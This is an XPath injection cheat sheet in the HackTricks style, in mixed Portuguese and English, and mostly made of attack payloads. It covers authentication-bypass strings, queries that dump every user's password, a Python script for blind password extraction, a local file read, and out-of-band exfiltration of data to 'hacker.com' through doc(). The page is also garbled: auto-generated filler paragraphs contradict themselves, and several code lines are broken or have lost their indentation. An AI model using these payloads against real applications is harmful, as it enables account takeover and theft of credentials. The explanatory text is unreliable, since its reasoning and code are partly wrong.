# Injeção de XPATH
☁️ HackTricks Cloud ☁️ 🐦 Twitter 🐦 🎙️ Twitch 🎙️ 🎥 Youtube 🎥
Seleciona o primeiro elemento book que é filho do elemento bookstore.Observação: No IE 5,6,7,8,9 o primeiro nó é[0], mas de acordo com a W3C, é [1]. Para resolver esse problema no IE, defina a SelectionLanguage como XPath:
Em JavaScript: xml.setProperty("SelectionLanguage","XPath");
|
| /bookstore/book\[last()] | Seleciona o último elemento book que é filho do elemento bookstore |
| /bookstore/book\[last()-1] | Seleciona o penúltimo elemento book que é filho do elemento bookstore |
| /bookstore/book\[position()<3] | Seleciona os dois primeiros elementos book que são filhos do elemento bookstore |
| //title\[@lang] | Seleciona todos os elementos title que possuem um atributo chamado lang |
| //title\[@lang='en'] | Seleciona todos os elementos title que possuem um atributo "lang" com um valor de "en" |
| /bookstore/book\[price>35.00] | Seleciona todos os elementos book do elemento bookstore que possuem um elemento price com um valor maior que 35.00 |
| /bookstore/book\[price>35.00]/title | Seleciona todos os elementos title dos elementos book do elemento bookstore que possuem um elemento price com um valor maior que 35.00 |
### Nós Desconhecidos
| Coringa | Descrição |
| -------- | ---------------------------- |
| \* | Corresponde a qualquer nó de elemento |
| @\* | Corresponde a qualquer nó de atributo |
| node() | Corresponde a qualquer nó de qualquer tipo |
### **Exemplos:**
| Expressão de Caminho | Resultado |
| -------------------- | ------------------------------------------------------------------------- |
| /livraria/\* | Seleciona todos os nós de elementos filhos do elemento livraria |
| //\* | Seleciona todos os elementos no documento |
| //titulo\[@\*] | Seleciona todos os elementos de título que possuem pelo menos um atributo |
pepe
peponcio
admin
mark
m12345
regular
fino
fino2
regular
```
### Acessar as informações
XPath Injection is a technique used to exploit vulnerabilities in web applications that use XPath queries to retrieve data from XML databases. By manipulating the input parameters of the XPath query, an attacker can modify the query's logic and gain unauthorized access to sensitive information.
To access the information, an attacker needs to identify a vulnerable input field that is used in an XPath query. This can typically be found in search forms, login pages, or any other functionality that involves querying XML databases.
Once a vulnerable input field is identified, the attacker can start injecting malicious XPath expressions. These expressions are used to modify the original query and retrieve additional information that was not intended to be disclosed.
For example, consider a search form that uses an XPath query to retrieve user information from an XML database. The query may look like this:
```xml
//users/user[name='John']
```
By injecting a malicious expression, such as `' or 1=1 or ''='`, the attacker can modify the query to retrieve all user information:
```xml
//users/user[name='John' or 1=1 or ''='']
```
This modified query will return all user information, regardless of the input provided.
To prevent XPath Injection attacks, it is important to properly validate and sanitize user input before using it in XPath queries. Input validation should include checking for special characters and ensuring that the input conforms to the expected format.
Additionally, using parameterized queries or prepared statements can help protect against XPath Injection attacks. These techniques ensure that user input is treated as data and not as part of the query logic, preventing attackers from modifying the query structure.
By understanding and mitigating XPath Injection vulnerabilities, developers can protect their web applications from unauthorized access to sensitive information.
```
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
```
### Identificar e roubar o esquema
XPath Injection is a technique used to exploit vulnerabilities in web applications that use XPath queries to retrieve data from XML databases. By manipulating the input parameters of the XPath query, an attacker can modify the query to retrieve sensitive information or perform unauthorized actions.
To identify and steal the schema using XPath Injection, follow these steps:
1. **Identify the vulnerable parameter**: Look for input fields or parameters in the web application that are used in XPath queries. These parameters are usually found in the URL, form inputs, or cookies.
2. **Determine the structure of the XPath query**: Analyze the XPath query structure used by the application to retrieve data. This will help you understand how the query is constructed and how to manipulate it.
3. **Inject malicious XPath code**: Craft a payload that includes malicious XPath code to modify the query and retrieve the schema. For example, you can use the `union` operator to combine the original query with a query that retrieves the schema.
4. **Observe the application's response**: Submit the payload and observe the application's response. If the response includes the schema or any other sensitive information, it means the injection was successful.
5. **Extract the stolen schema**: Extract the stolen schema from the application's response. This can be done by parsing the response and extracting the relevant information.
By following these steps, you can identify and steal the schema using XPath Injection. It is important to note that XPath Injection can have serious consequences, as it can lead to unauthorized access to sensitive data and compromise the security of the web application. Therefore, it is crucial to perform thorough security testing and implement proper input validation and sanitization techniques to prevent XPath Injection vulnerabilities.
```python
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag ``is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
```
## Bypass de Autenticação
### **Exemplo de consultas:**
```
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
```
### **Bypassando OR em usuário e senha (mesmo valor em ambos)**
Quando um aplicativo web utiliza a técnica de XPath para consultar um banco de dados XML, é possível explorar uma vulnerabilidade conhecida como injeção de XPath. Essa vulnerabilidade ocorre quando um invasor consegue inserir código XPath malicioso em um campo de entrada, levando o aplicativo a executar consultas não intencionais no banco de dados.
Uma técnica comum de injeção de XPath é a utilização do operador OR para contornar a verificação de usuário e senha. Normalmente, o aplicativo verifica se o valor inserido no campo de usuário é igual ao valor inserido no campo de senha. No entanto, ao injetar um código XPath malicioso, é possível enganar o aplicativo para que ele considere o valor inserido em ambos os campos como idênticos, permitindo o acesso não autorizado.
Aqui está um exemplo de como explorar essa vulnerabilidade:
```xml
' or '1'='1
```
Nesse exemplo, o código XPath malicioso `' or '1'='1` é inserido no campo de usuário. O operador OR faz com que o aplicativo considere o valor inserido no campo de senha como verdadeiro, independentemente do que foi inserido. Isso permite que o invasor acesse a conta sem fornecer as credenciais corretas.
Para se proteger contra a injeção de XPath, é importante validar e sanitizar todas as entradas do usuário antes de executar consultas XPath. Além disso, é recomendável utilizar consultas parametrizadas ou funções de escape fornecidas pela plataforma para evitar a execução de código malicioso.
```
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
```
### **Explorando a injeção de nulo**
A injeção de nulo é uma técnica comum usada para explorar vulnerabilidades em aplicativos da web que usam consultas XPath. Essa técnica envolve a manipulação de parâmetros de entrada para inserir uma expressão XPath maliciosa que pode ser executada pelo aplicativo.
#### **Como funciona a injeção de nulo?**
A injeção de nulo ocorre quando um aplicativo da web não valida corretamente os dados de entrada antes de usá-los em uma consulta XPath. Isso permite que um invasor insira uma sequência de caracteres nula ou vazia como entrada, o que pode levar a uma execução inesperada da consulta XPath.
#### **Explorando a injeção de nulo**
Para explorar a injeção de nulo, um invasor pode inserir uma sequência de caracteres nula ou vazia em um parâmetro de entrada que é usado em uma consulta XPath. Isso pode resultar em diferentes comportamentos, dependendo da implementação do aplicativo.
Um exemplo de exploração de injeção de nulo é quando um aplicativo usa uma consulta XPath para recuperar informações de um banco de dados. Se um invasor inserir uma sequência de caracteres nula ou vazia como entrada, a consulta XPath pode retornar todos os registros do banco de dados, expondo informações confidenciais.
#### **Prevenção da injeção de nulo**
Para prevenir a injeção de nulo, é importante validar e sanitizar corretamente os dados de entrada antes de usá-los em consultas XPath. Isso pode ser feito implementando filtros de entrada e validando os dados em conformidade com as regras de negócios do aplicativo.
Além disso, é recomendável usar consultas parametrizadas ou funções de escape fornecidas pela plataforma ou biblioteca utilizada para evitar a injeção de código malicioso.
#### **Conclusão**
A injeção de nulo é uma vulnerabilidade comum em aplicativos da web que usam consultas XPath. Ao entender como essa técnica funciona e implementar medidas de prevenção adequadas, os desenvolvedores podem proteger seus aplicativos contra ataques de injeção de nulo e garantir a segurança dos dados dos usuários.
```
Username: ' or 1]%00
```
### **Duplo OU no nome de usuário ou na senha** (é válido com apenas 1 campo vulnerável)
IMPORTANTE: Observe que a **"e" é a primeira operação realizada**.
```
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
```
## Extração de strings
A saída contém strings e o usuário pode manipular os valores para realizar buscas:
```
/user/username[contains(., '+VALUE+')]
```
```
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
```
### **Exploração Cega**
### **Obter o comprimento de um valor e extraí-lo por comparações:**
A injeção de XPath cega é uma técnica de exploração que permite obter informações de um aplicativo da web através de consultas XPath. Nesse tipo de ataque, o invasor manipula os parâmetros de entrada do aplicativo para injetar código XPath malicioso.
Uma das técnicas comuns de injeção de XPath cega é obter o comprimento de um valor e extraí-lo por meio de comparações. Isso é útil quando o invasor não consegue visualizar diretamente os resultados da consulta XPath, mas pode inferir informações com base nas respostas do aplicativo.
Para realizar essa técnica, o invasor pode usar expressões XPath como `string-length()` para obter o comprimento de um valor específico. Em seguida, ele pode usar operadores de comparação, como `>`, `<` ou `=`, para extrair o valor caractere por caractere.
Por exemplo, suponha que o invasor queira obter o nome de usuário de um aplicativo da web. Ele pode injetar a seguinte expressão XPath:
```plaintext
' or string-length(//user/username/text()) > 1 or 'a'='a
```
Se o aplicativo responder de forma diferente quando o comprimento do nome de usuário for maior que 1, o invasor pode inferir que o primeiro caractere do nome de usuário é `a`. Ele pode então continuar a extrair os caracteres restantes usando comparações semelhantes.
É importante ressaltar que a injeção de XPath cega pode ser um processo demorado, pois o invasor precisa realizar várias comparações para extrair cada caractere do valor desejado. Além disso, é crucial ter cuidado ao realizar esse tipo de ataque, pois a manipulação incorreta das consultas XPath pode causar erros no aplicativo ou até mesmo danificar o sistema.
```bash
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
```
### **Exemplo em Python**
```python
import requests, string
flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break
```
### Ler arquivo
A injeção de XPath é uma técnica de ataque que permite que um invasor leia arquivos arbitrários no servidor. Essa técnica é possível quando um aplicativo web usa consultas XPath para extrair dados de um documento XML.
#### Como funciona a injeção de XPath?
A injeção de XPath ocorre quando um invasor manipula os parâmetros de entrada do aplicativo web para inserir uma expressão XPath maliciosa. Essa expressão é então avaliada pelo servidor, permitindo que o invasor leia arquivos do sistema.
#### Exemplo de injeção de XPath
Considere o seguinte código de exemplo:
```python
import lxml.etree as ET
def get_user_data(username):
query = f"//users/user[username/text()='{username}']"
result = ET.parse('users.xml').xpath(query)
return result
```
Neste exemplo, a função `get_user_data` recebe um nome de usuário como parâmetro e consulta um arquivo XML chamado `users.xml` usando XPath. No entanto, o código não valida ou sanitiza o parâmetro `username`, o que torna vulnerável a ataques de injeção de XPath.
Um invasor mal-intencionado pode explorar essa vulnerabilidade fornecendo um valor de entrada manipulado, como `' or 1=1 or username/text()='admin' or '`. Isso fará com que a expressão XPath se torne `//users/user[username/text()=' or 1=1 or username/text()='admin' or ']`, que retornará todos os usuários do arquivo XML.
#### Prevenção de injeção de XPath
Para prevenir a injeção de XPath, é importante validar e sanitizar todas as entradas do usuário antes de usá-las em consultas XPath. Isso pode ser feito por meio de técnicas como a utilização de consultas parametrizadas ou a implementação de listas de permissões para os valores de entrada permitidos.
Além disso, é recomendável restringir as permissões de acesso aos arquivos do sistema, garantindo que o aplicativo web tenha apenas as permissões necessárias para ler os arquivos relevantes.
#### Conclusão
A injeção de XPath é uma vulnerabilidade comum em aplicativos web que usam consultas XPath para extrair dados de documentos XML. Ao validar e sanitizar as entradas do usuário e restringir as permissões de acesso aos arquivos do sistema, é possível prevenir com eficácia esse tipo de ataque.
```python
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
```
## Exploração OOB
Out-of-Band (OOB) é uma técnica de exploração usada em ataques de injeção XPath. Essa técnica permite que um invasor extraia dados de um aplicativo da web, mesmo quando a resposta não é diretamente visível na página.
### Como funciona
A injeção XPath ocorre quando um invasor insere código XPath malicioso em um campo de entrada de um aplicativo da web. Esse código é então executado pelo servidor, permitindo que o invasor manipule a consulta XPath e extraia informações do banco de dados subjacente.
No entanto, em alguns casos, a resposta do servidor não é diretamente visível na página. Isso pode ocorrer quando o aplicativo da web está configurado para bloquear a exibição de certos tipos de dados ou quando a resposta é redirecionada para um local diferente.
Nesses casos, a técnica OOB pode ser usada para extrair os dados de forma indireta. O invasor pode aproveitar recursos externos, como DNS ou HTTP, para enviar os dados extraídos para um servidor controlado por ele.
### Tipos de OOB
Existem dois tipos principais de OOB:
1. **OOB baseado em DNS**: Nesse tipo de OOB, o invasor explora a capacidade do servidor de fazer consultas DNS. Ele injeta código XPath malicioso que faz com que o servidor faça uma consulta DNS para um domínio controlado pelo invasor. Os dados extraídos são então incluídos na resposta DNS, que é enviada para o servidor controlado pelo invasor.
2. **OOB baseado em HTTP**: Nesse tipo de OOB, o invasor explora a capacidade do servidor de fazer solicitações HTTP. Ele injeta código XPath malicioso que faz com que o servidor faça uma solicitação HTTP para um servidor controlado pelo invasor. Os dados extraídos são incluídos na resposta HTTP, que é enviada para o servidor controlado pelo invasor.
### Conclusão
A técnica de exploração OOB é uma maneira eficaz de extrair dados de um aplicativo da web, mesmo quando a resposta não é diretamente visível na página. Ao aproveitar recursos externos, como DNS ou HTTP, um invasor pode obter acesso aos dados desejados. É importante que os desenvolvedores estejam cientes dessa técnica e implementem medidas de segurança adequadas para proteger seus aplicativos contra ataques de injeção XPath.
```python
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
```
### Ferramenta automática
{% embed url="https://xcat.readthedocs.io/" %}
## Referências
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20injection" %}
☁️ HackTricks Cloud ☁️ 🐦 Twitter 🐦 🎙️ Twitch 🎙️ 🎥 Youtube 🎥
 (3) (1).png)